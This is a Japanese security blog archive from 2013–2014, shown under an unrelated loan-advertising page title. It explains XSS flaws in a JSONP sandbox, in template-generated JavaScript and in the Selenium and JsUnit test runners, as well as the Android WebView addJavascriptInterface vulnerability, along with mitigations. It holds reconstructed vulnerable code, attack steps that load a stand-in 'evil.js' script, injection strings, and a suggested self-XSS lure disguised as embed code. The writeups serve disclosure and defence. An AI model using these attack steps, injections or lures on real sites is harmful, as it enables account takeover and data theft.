金利0無利息キャッシング – キャッシングできます

2014-04-04

最近の発表しました

19:03 | 最近の発表しました - 金利0無利息キャッシング – キャッシングできます を含むブックマーク はてなブックマーク - 最近の発表しました - 金利0無利息キャッシング – キャッシングできます

AVTokyo2013.5

Flash based XSSの具体的な事例について、皆さんがよく知っている身近なサイトを例にあげて解説しました。

資料

具体的なサイト名については伏せてあります。なお、完全に個人の活動であり、所属している組織の業務とは一切関係がありませんし、職場でアダルトサイトは閲覧していません。

OWASP AppSec APAC 2014

はせがわさんからお誘いがあって、XSS Allstars from Japanという枠で発表しました。「みんなkinugawamasatoを見に来るんで、僕らは前座なんで、まあ気軽にゆるい感じで」とネタが被らないように打ち合わせだけして皆好きなことを喋るといったコーナーでした。

スライドはこのへんから見れるっぽいです

肉はこちらから見れます。


発表時間に間に合うように家を出たのですが、道に迷ってしまってかなりギリギリでの到着となりご心配をおかけしました。また、スライドの提出も遅れましてスタッフの方々にもご心配をおかけしましたが、こちらについてはTAKESAKOさんのほうがギリギリだったそうです。

補足

self XSSまで含めると直っていない事例が結構あると思います。self XSSをどの程度の脅威と見なすのかは場合によりけりなのですが、例えば攻撃コードをブログパーツやビデオの埋め込みコード風にして「HTML編集モードでコピペしてください」といった風に誘導すれば、怪しまれずに引っかかる人が多いんじゃないかと思います。

それから質疑応答で出たのですが「そもそもHTMLを制限せずに自由に書かせる要件がある場合にはどうすればよいのか?」というのがありました。これはブログサービスやCMSなどで、デザインやテンプレートを高度にカスタマイズしたり、scriptを自由に書かせたいようなケースはあると思います。そういった場合にはドメインを分けると良いです。パスワードを入力してログインしたり、管理画面が表示されるドメインと、ユーザーが自由にHTMLを書くことが出来るドメインは、そもそも分けてしまいましょう。ドメインやcookieのポリシーを最初に間違えると後から変更するのが面倒くさくなるので注意が必要です。

トラックバック - http://subtech.g.hatena.ne.jp/mala/20140404

2014-01-20

JSONP Sandboxを使ったXSS

23:10 | JSONP Sandboxを使ったXSS - 金利0無利息キャッシング – キャッシングできます を含むブックマーク はてなブックマーク - JSONP Sandboxを使ったXSS - 金利0無利息キャッシング – キャッシングできます

Cybozu security challengeで見つけたXSSについて解説します。とても珍しい感じのXSSで、JSONP sandboxの実装不備というタイトルで報告しました。

slideshareURLが貼られていると、oEmbed APIを使って、スライドを埋め込み表示する機能があり

slideshareの埋め込みコードを取得するのに、JSONP sandboxが使われていた。この実装が不適切で、任意のHTMLを呼び出し元の親windowに出力可能になっていた。

どういう問題があったか

sandboxの実装は概ね以下のようなものだった(記憶をたよりに再現)

  • sandboxとなるiframeは、postMessageでcallするJSONP APIURLを受け取って、scriptタグを追加する。
  • APIレスポンスが返ってきたら、送信元のwindowにpostMessageで返信する。

以下、Sandbox: Aと呼ぶ。

<script>
var count = 0;
window.onmessage = function(e){
	var pair = e.data.split(",", 2);
	var uniq_id = pair[0];
	var url = pair[1];
	var origin = e.origin;
	var cb_func = "callback_" + count;
	window[cb_func] = function(data){
		data.uniq_id = uniq_id;
		e.source.postMessage(data, origin)
	};
	jsonp(url, cb_func);
	count++;
}
function jsonp(url, callback){
	var s = document.createElement("script");
	s.src = url + "&callback=" + callback;
	document.body.appendChild(s);
}
</script>

呼び出し元になる親フレームはこんな感じ。親window: Bと呼ぶ。

<div id="result"></div>
<script>
var sandbox_url = "http://...";
var sandbox_origin = "http://...";
var uniq_id = 0;
var callbacks = [];
window.onmessage = function(e){
	if (e.origin !== sandbox_origin) { return }
	var obj = JSON.parse(e.data);
	callbacks[obj.uniq_id](obj);
	delete callbacks[obj.uniq_id];
};
function extract_slideshare(){
	var api_url = "http://www.slideshare.net/api/oembed/2?url=http://www.slideshare.net/haraldf/business-quotes-for-2011&format=json";
	var onload = function(data){
		document.getElementById("result").innerHTML = data.html;
	};
	callbacks[uniq_id] = onload;
	load_sandbox(uniq_id, api_url);
	uniq_id++;
}
function load_sandbox(uniq_id, api_url){
	var ifm = document.createElement("iframe");
	ifm.onload = function(){
		ifm.postMessage([uniq_id, api_url].join(","), sandbox_origin)
	};
	ifm.src = sandbox_url;
	document.body.appendChild(ifm);
}
</script>

どうやってXSSをするか

  • 1. 無関係なWebサイト(攻撃用ページ)から、iframeもしくはwindow.openでsandbox Aをロードする。
  • 2. sandbox Aに対して、 0,http://example.com/evil.js といったpostMessageを送りつけて攻撃用のscriptを送り込む。
  • 3. 攻撃用のscriptは、BのURLをiframeもしくはwindow.openで開く
  • 4. 攻撃用のscriptは "Bが正規のAPIレスポンスを受信する前に" Bに対して、偽のJSONP APIレスポンスをpostMessageで送りつける。
  • 5. 親window Bは、改竄されたJSONP APIのレスポンスを信用して、任意のHTMLを書き出してしまう。

Cybozuのkintoneの場合には、画面を読み込んだタイミングでslideshareの展開処理が走るようになっていました。上記サンプルでいうところのuniq_idの部分が、他のカウンタにも使われており、ロード直後には100-200前後になっていました。そのため、XSSを成功させるには、window Bの読み込みと同時に、uniq_idの数値を推測して大量にpostMessageで偽のAPIレスポンスを送りつける必要がありました。

JSONP sandboxの存在意義

JSONP sandboxの初出は多分これ?

JSONP sandboxというのは、概ね以下の様な特徴を持っている

  • scriptが実行されても認証情報や機密情報が漏洩しないドメイン上で、JSONP APIをコールする。
  • 受信したデータを親ページに対してpostMessageで返信する
    • 場合によっては古いブラウザのために別の方式でのクロスドメイン通信もサポート

レガシーなJSONP APIはXHR level2 + CORS + JSON.parse を使って置き換えることが出来るけれど、現実的にJSONPが使われているケースはまだまだある。JSONP sandboxを使うことで、機密情報を扱うドメイン上に直接外部のscriptを読み込まずに、ある程度安全にJSONP APIを使うことが出来るようになる。

サーバー側でproxyしても良いのだけれど、例えばIPアドレスあたりのAPI利用回数が制限されているようなケースの場合、proxyしてしまうと制限回数よりも多くAPI callが発生して、利用できなくなってしまうことが考えられる。そういうケースだと個々の利用者が直接JSONP APIを使ってくれる方がありがたいということになる。

傾向と対策

レガシーなJSONP APIをサーバーサイドのproxyを通さずに安全に使う方法として、JSONP sandboxは有用な手法だが、実装方法によっては問題が生じることがある。

基本的には

  • sandboxが読み込み可能なJSONP APIの種類を制限する(任意のscriptをロードできないようにする)

だけで攻撃は不可能になる(slideshare自身が悪意を持ったJSONレスポンスを返さない限り)

付け加えると

  • scriptが直接実行されずとも、外部から提供されるデータということに変わりはないので、innerHTMLへの直接代入は避けたほうがよい。
  • 送信元のoriginを検証することに加えて、送信元のorigin上にXSSがあるならば、送信されてくるmessageも信用出来ない可能性があることに気をつける。

「originを検証せよ」というのはpostMessageのドキュメントにも書かれていて、基本的なことなのだけれど、そもそもpostMessageの送信元になるドメイン上にXSSがあった場合には、それに引きづられてpostMessageの内容も改竄することが可能になる。送信元の検証だけで全面的にpostMessageで送られてきたデータを信用するというポリシーを取るならば、送信元となるoriginが信用できて(グループ会社等)、かつ、XSSがないことを保証しなくてはいけない。送信元が信頼出来ないか、ポリシーが不明な場合には、呼び出し元でAPIレスポンスが安全なものかどうか検証する必要があるだろう。

追記

上記対策で「sandboxが読み込み可能なJSONP APIの種類を制限する」と書いたけど、これはXSS起こさないための対策であって「JSONP sandboxを使う」というポリシーを取るならば、htmlを検証することはshouldではなくてmust(やらないと意味ない)ということに気がついた。

このXSSが面白いと感じたのは、わざわざJSONP sandboxという仕組みを採用する(意識高い)取り組みを行っているのに、実装にバグがあった結果としてJSONPを直接使うよりも危険になってしまったということだ。JSONP APIの提供元が信用できるという前提だったら、直接JSONPを使ってもリスクは変わらないし、js側で検証なしのinnerHTMLへの直接代入をするのであれば、そもそもsandboxを使う意味が無い。

sandboxでproxyする意味は、

という状況から保護するためだ。つまり、API提供元が信用出来ないという前提に立って保護する仕組みなのだから、当然embed用のhtml断片も信用すべきではない。Kintoneで使われていたJSONP sandboxは、「script直接読み込みは危険だと考えるけれど」「APIレスポンス中のhtmlは信用する」という片手落ちになっていたわけだ。

トラックバック - http://subtech.g.hatena.ne.jp/mala/20140120

2014-01-10

AndroidのWebViewの脆弱性についての私的なまとめ

18:19 | AndroidのWebViewの脆弱性についての私的なまとめ - 金利0無利息キャッシング – キャッシングできます を含むブックマーク はてなブックマーク - AndroidのWebViewの脆弱性についての私的なまとめ - 金利0無利息キャッシング – キャッシングできます

http://jvn.jp/jp/JVN53768697/ についての私的なまとめです。業務時間中に調べた内容も含まれていますが、この記事はmala個人の文責で書かれています(所属している組織の見解ではありませんし、所属している組織やそのグループ会社からリリースしているアプリが必ずしもこの記事で書かれているような対策が取られているとは限りません)

  • 書きかけの部分があるので、あとで追記します。
  • Androidの開発を専門としていないので、何か問題があればツッコんでください、訂正します。

この脆弱性はつまるところなんなのか

  • 1. addJavascriptInterfaceが危険だというのは周知されていることだった
  • 2. reflection使って思ったより危険なことが出来てしまう
  • 3. 使って無ければ関係ないと思いきや、標準のWebViewクラスを使っているだけで勝手にaddJavascriptInterfaceが使われている

これまで、3についてパブリックな場所での言及が避けられてきましたように思います(少なくとも大々的にセキュリティ会社が警告を出したり、Googleが発表したりはしていない)

もっとも実際に検証コードを書けば、多くのアプリに脆弱性があることが容易に分かる状態でした。

自分の知る限り

  • このバグは、JVNで公表される前から、セキュリティ業界内では広く知られていた。
  • セキュリティ関係の会社や、Android端末を作っているベンダーは知っていた(知らなきゃおかしい)
  • ある程度大きな会社のセキュリティ関連の仕事をしてる人であれば多分知っている

という状態でした。にも関わらず、一番問題を知らなくてはいけないはずの、Androidアプリケーション開発者にこの問題が周知されてこなかったように思います。

結果として、

  • Android4.4.x でも依然として危険な addJavascriptInterfaceを使っているアプリ
  • Android3.0-4.12 で動作させた場合に危険な、WebViewを使っているアプリ

Google Play上に多数存在しています。一般的にはJVNで脆弱性情報が公開されるのは問題が解決した後なのですが、市場におけるAndroid OSのバージョンごとのシェアや、アップデート困難な端末、addJavascriptInterfaceを使ってしまっているアプリの数を考えると、多くの課題を残したまま公表されていると考えたほうが良いです。

問題箇所と修正箇所

リフレクションを使ってClassLoaderを呼び出して、といった話はこちらに書かれてるので省略します。

問題があったのは searchBoxJavaBridge_ というjsInterfaceです。Android 4.1.2まで存在していました。Googleがどういう対策を取ったかというと、addJavascriptInterfaceを使う際には @javascriptInterfaceアノテーションが使われているメソッドしか呼び出せないように制約を加えました。

暗黙のうちに使われていたaddJavascriptInterfaceについては、このコミットで

ごっそり削除されています。ちなみに勝手にaddJavascriptInterfaceが使われるコードが追加されたのはタブレット用にリリースされたAndroid3.0からで、ちょうどクローズドソースだった時期です。

JVNのベンダーの対応状況を見ると、4.2で修正されたという扱いになっているように見えますが、4.2.xでも設定次第で影響を受けます。具体的にはユーザー補助のTalkback機能を有効にするとaddJavascriptInterfaceが使われます。

開発者向けのドキュメント内での警告の遍歴

古くからaddJavascriptInterfaceの利用の際の注意は書かれていた。

2009年3月

「危険なAPIである」と、ごく初期からドキュメントに書かれているにも関わらず、Android3.0でどういうわけかその危険なAPIOS側で標準で使われている状態になってしまっていた。

2012年8月 reflectionについての記述が増える

2012年11月 API変更についての告知が出される

影響を受けるアプリ

  • 1. WebViewを使っていて、古いAndroidでも動作するようになっているもの
  • 2. 明示的にaddJavascriptInterfaceを使っていて、任意のURLを開けるアプリ(特にブラウザ)

1について、わざわざ古いAndroidで動かないようにしているアプリはそんなに無いと思います。つまりは、WebViewを使っているアプリ全般です。影響を受けないほうが珍しいと思います。もし「古いAndroidを使っているユーザーであっても保護したい」と考えるのであるならば、後述するような対策を取ったほうが良いことになります。

もちろん「OS側の問題なのでサポートしない」という判断をするのも、それはそれで間違っていないと思います。広く知られていないだけで古いバージョンには深刻な脆弱性が他にも含まれているのでしょうし、古いOSを動作対象に含め続けることは時として新しいOSへの移行を遅らせて、ユーザーをより危険な状態に晒すことにもつながります。Windows2000WindowsXPを延命させようとするようなものです。

アプリケーションの持っている権限によっては、アドレス帳を読み取ったり電話番号を読み取ったり、SMSを送信したり出来ます。多くのアプリケーションが未対策であっても、強い権限を持っているアプリの場合はリスクが大きくなるので対策したほうが良いという判断を取ることもありうるでしょう。

2について。著名なブラウザのいくつかがaddJavascriptInterfaceを使っています。多分すでに誰かが報告していたりするとは思いますが、おそらく「問題を認識してはいるが、重要な機能が依存していて外せない、古いAndroidで動作しないようにするという判断も取りづらい」という板挟みになっているのではないかと思います。

検証コード

OSのバージョン等の取得、Contextオブジェクト経由でアプリケーションの情報を取得、コマンド実行を行うものです。Android3.0 - 4.1.2でWebViewを使っているアプリやブラウザ、または明示的にaddJavascriptInterfaceを使っているアプリやブラウザで動作することが確認できると思います。2番目は「Android4.4 + addJavascriptInterfaceを使ってるアプリ」では動きません。

アプリ側で取れる対策について

一番単純なのは「Android最新版を使え、古いバージョンのAndroidを使ってるユーザーはどうなっても知らんよ」ということです。無責任かもしれませんが、何もしなくてよいです。古いバージョンのAndroidを使っているユーザーを保護したいのであれば以下のような対策を取る必要があるでしょう。

JavaScriptを無効にする

setJavaScriptEnabled(true) と明示的に指定しない限りJavaScriptはデフォルトで無効になっています。単にドキュメントを表示するだけでJavaScriptが有効である必要がないなら、JavaScriptを無効にしてしまいましょう。

開発元の提供するURLしか開かないようにする + 全てのアクティブコンテンツにHTTPSを使う

信用できるURLしか開かないようにします。その上で、ユーザーが信用出来ない回線を使っていて通信が改竄されるようなケースも考慮するのであれば、HTMLJSなどscriptを実行しうる全てのリソースのロードにHTTPSを使います。

removeJavascriptInterfaceで決め打ちで削除する
mWebView.removeJavascriptInterface("searchBoxJavaBridge_"); 

WebViewのonCreateのタイミングでsearchBoxJavaBridge_を削除することで、Webページ側からjsInterfaceが見えなくなることを確認しました。accessibilityも消したほうが良いかもしれません(エミュレータでTalkbackが使えなかったので未検証)

重要な機能がaddJavascriptInterfaceに依存している場合には?

代替手段を考える
  • WebViewとJavaの側で、相互にメッセージを送ることが出来れば、ブリッジ機能は作ることが出来ます。
  • バッドノウハウの類だとは思いますが、例えばalertダイアログを使ってメッセージのやりとりをするテクニックが紹介されています
  • http://qiita.com/ka_/items/f8dcde7893f3a029f151

Java → WebViewにはjavascript: なURLを開かせれば任意のJavaScriptコードを実行することが出来ますし、WebView → Javaも、Java側から監視可能な何らかの変更を行えばJavaに対してメッセージを送ることも出来ます。

責任の所在はどこにあるのか?

「addJavascriptInterfaceを使っていない」アプリに関して言えば、これはあくまでOS側のバグによる問題で、本来ならアプリ側で修正するような問題ではないでしょう(堅苦しく言えば、瑕疵担保責任が発生するようなものではないと考えている)

「addJavascriptInterfaceを明示的に使っている」アプリ(@javascriptInterfaceに移行してない)に関しては、アプリ側の脆弱性です。バグ報告しましょう。

具体的な攻撃方法に触れずに、かつ、互換性を壊さずに緩やかに新しいバージョンに移行するという観点からすれば、Googleの取った修正方法は適切だと思うし、十分に説明を行ってきているし、やるだけのことをやったとは言えるのだろう。

欲を言えば、

  • reflection使われたりClassLoader呼ばれたりしたら問答無用でエラーになるような仕組み作ったり出来ないのか?とか
  • Google Playのマルウェア検出の仕組み使ってWebView使ってるアプリ調査して作者に警告出したり出来ないのか?とか

思ったりはする。しかし、現状そうなってはいないし、将来的にそういった取り組みが行われるとしても今すぐに出来るとは思えないし、古いバージョンのAndroidは市場に一定数残る。つまり「放っておいても安全になる」ということは無い。もはや、OS側での修正はこれ以上期待できない状態だと思ったほうが良い。addJavascriptInterfaceを使っているアプリは、修正しない限り勝手に安全になったりはしないです。

ユーザー側で取れる対策について

「怪しいサイトを訪問しない」といったことがよく言われますが、怪しくないサイトのiframeに埋め込まれても攻撃は成立します。本気で悪人が攻撃しようとした場合は、広範なサイトに埋め込まれる広告やwidgetのiframeやjsを乗っ取ったり、全てのHTTP通信を透過プロキシで書き換える偽WiFiアクセスポイントを立てたりするでしょう。

アドホック対応の歴史

似たような事例として(あくまで自分がそう感じるだけだけど) ソフトウェア側での脆弱性の修正が行き届くまでに時間がかかるので、Webサイト側で問題を迂回するという対策が取られてきたことがある。

CSSXSS

2005年12月頃から知られ始めた、IE6HTMLCSSとして読み込ませてクロスドメインでのデータ漏洩を起こす脆弱性。

2006年6月の累積的なセキュリティ更新プログラムで修正された(その後も対策が不完全で修正されたりしている)

紛れも無くブラウザ側の問題なのだけれど、脆弱性があることが知られてから、ブラウザ側で修正が行われるまでの期間が長いので、実際に攻撃を受けたり影響を無視することが出来ないような意識の高いWebサイトは「出力されるHTMLCSSとして解釈される余地がないように」とか「異なる文字コードで解釈されても大丈夫なように」するための対策が行われてきた。

PDFXSS

2006年12月に報告、2007年1月に広く知られる

2006年12月にAdobe Reader8、2007年1月にAdobe Reader 7.0.9を公開されており、それぞれ問題が修正されている。

その上で(現実的に全てのユーザーが最新版を使っているとは限らないので)サーバー側での迂回策もAdobe自ら公表した。

雑多なこと

最初の報告者は誰?

IPAに届け出た人は http://tama-sand.blogspot.jp/2013/12/JVN53768697.html 2012年9月とのことだけれども、これ以前に、MBSDから報告されているとのこと。

おそらく複数の研究者から報告があったと思います。


Googleは自社の脆弱性情報について積極的に公開はしない?

Googleの考える再考された「責任ある開示」 ポリシーは

Googleはこれまで、「深刻な脆弱性は60日以内に修正すべきであり、それができない場合は情報を公開して一時的な回避策を提示すべき」との立場を取ってきた。”

“「7日という期限は一部メーカーにとっては短か過ぎて製品のアップデートは間に合わないかもしれないが、当面の回避策についてアドバイスを公開するだけの時間は十分にある」とGoogleは主張。この独自基準に従って、7日が経過してもメーカーが修正パッチや脆弱性情報を公開しない場合は、研究者による情報の公開を支援すると明言した。"

Androidのソースコードレベルでは、報告されてから60日以内に修正されているだろうし、その後のAPI設計の変更も適切だろうけれど、この問題はまさにOS側での修正が無理なら無理で、アプリケーション側での迂回や、ユーザー側での回避策(標準ブラウザを使わない、信用出来ないWiFiを使わない、等)が取れる状況であったのに、Googleからは脆弱性情報としては公表されなかった。

公表されることで攻撃される可能性が高まるのか、あるいは、個々のアプリ側の対策やユーザー側の自衛によってリスクが低くなるのか、どのタイミングでの公表が適切だったのか、ハッキリ言って全く分からない。わからないのだけれど、今となっては既に十分すぎるほど「公表されている」状態だと思うので、古いAndroidが市場に残っている以上は、アプリ開発者側での対策やユーザー側での自衛手段を周知していく必要があるんじゃないかと思う。(あるいは古いAndroidはサポート期限切れだから使うなと全力で広報する)

攻撃コードを隠すためのテクニックについて

OSSにおいて、セキュリティアドバイザリやコミットログから攻撃コードを推測しにくいようにするということが、ちょくちょく行われている。

実際にはセキュリティ上の理由での修正なのだけれど、リファクタリングや方針転換のように見せかけて、問題の原因となるファイルを丸ごと削除したり入れ替えたりする。あるいは、セキュリティ修正と機能追加を含む社内ブランチをまとめてマージして、修正箇所を分かりにくくするといったテクニックが使われたりする。

隠すことによるセキュリティの一種のように思えるのだけれど、diffの難読化のようなことが是非はともかく現実に行われている。

トラックバック - http://subtech.g.hatena.ne.jp/mala/20140110

2013-11-08

テンプレートエンジンでJavaScriptを動的生成する際のアンチパターン

14:10 | テンプレートエンジンでJavaScriptを動的生成する際のアンチパターン - 金利0無利息キャッシング – キャッシングできます を含むブックマーク はてなブックマーク - テンプレートエンジンでJavaScriptを動的生成する際のアンチパターン - 金利0無利息キャッシング – キャッシングできます

素のJSONscriptタグ内に埋め込む

任意の文字列を突っ込める場合には {"key": "</script>"} でscriptタグを強制終了できてしまうからです。

JSONとしては正しいですがHTMLに埋め込む際には、それだけではダメなのです。文字列中に U+2028, U+2029が出現する場合もエラーになります。

U+2028, U+2029対策漏れでXSSが起きるケース

js側でコメントアウトしてデバッグ用の出力入れてるようなやつですね。

// [% debug_info %]

想像できると思いますが、改行入れてダメなやつですね。そして改行除去するように対策したところ、U+2028, U+2029が漏れてるというやつですね。こんなケースはめったにないので試験に出ません。

HTMLエスケープしたつもりが不十分なケース

ダブルクオートもシングルクオートもエスケープしてるのであれば、jsの変数に埋め込むだけでXSSが起きる状況というのはまず無いわけです。

なのでjsの変数に埋め込む際にもHTMLエスケープを流用する、あるいはテンプレートエンジンの設定で自動でHTMLエスケープをするようにして、jsの変数に「HTMLエスケープ済みの文字列」が入ることを想定したコードが書かれる。

HTMLエスケープされてるので安全かと思いきや、\x3c \x3eを使ってタグを作ることが出来ます。

document.write("検索語句: " + "[% search_keyword %]")

あるいはこういうものです(jQueryバージョンアップすれば防げる)

var selected_class = "[% mode %]";
jQuery("div[class=" + selected_class + "]").append(...)

onclick等を自動生成するようなケース

 <button onclick="alert('[% value %]')">こんにちは</button>
  • HTMLエスケープの場合 → valueに ' を含めることでシングルクオートを閉じることが出来ます。HTMLエスケープされていても、HTML entitiesがデコードされた上でonclickが実行されるので、'として認識されます。
  • 過剰でないjsエスケープ → &apos; を入れることで 'を閉じることが出来ます。

これらの問題に対する対策

あとで書くと思ったら大間違いだ

トラックバック - http://subtech.g.hatena.ne.jp/mala/20131108

2013-10-22

ブラウザ上で動作するテスティングフレームワーク上でXSSが可能な事例

23:09 | ブラウザ上で動作するテスティングフレームワーク上でXSSが可能な事例 - 金利0無利息キャッシング – キャッシングできます を含むブックマーク はてなブックマーク - ブラウザ上で動作するテスティングフレームワーク上でXSSが可能な事例 - 金利0無利息キャッシング – キャッシングできます

少し前にこちらのXSS脆弱性について報告をした。

のだけれど、その際に同梱されているSeleniumのtest runner用のHTMLXSSがあるのを見つけた。

開発中に使うものだし、パブリックにアクセス可能な箇所にtest runnerのHTMLファイルが設置されているという状況はあんまりないんじゃないかと思うのだけれど、実際にそういう事例を著名なサイトで見つけたというのと、通常通りセットアップしてそのような状態になってしまうOSSプロダクトを見つけているので、注意喚起のために書きます。

Seleniumの事例

http://www.seleniumhq.org/

サンプル

iframe内に個々のテストケースのURLを指定して自動実行するようになっていて、その箇所でjavascript:なURLを指定するとsrcにjavascript:xxxが指定されたiframeを生成して任意のscriptが実行可能。

JsUnitの事例

https://github.com/pivotal/jsunit

サンプル

これはjavascript:は読み込めなかったのだけれど、URLを出力する箇所に任意の文字列が出力可能になっていて同様にXSSが可能だった。

対応方法

Seleniumの開発元に報告したけれど、それは利用方法の問題が大きいだろうという回答だった。自分もそのように思う。そもそも、テストケースを読み込んで → そこに書かれたコードを実行して → 結果を検証する、という処理をするものなので、任意のURLにリクエストを飛ばしたり、任意のコード実行に繋がったりする問題が起きやすいのだと思う。自分が把握している箇所だけを直したところで、安全になるという確証が持てない。

なので、そもそもアップロードしないようにすることを推奨します。どうしても必要な場合は認証をかけるなり、テスト終わったら削除するなりすれば良いと思います。

補足

インストール数が多そうなプロダクト一件に報告中。何か他にも事例があったら追記します。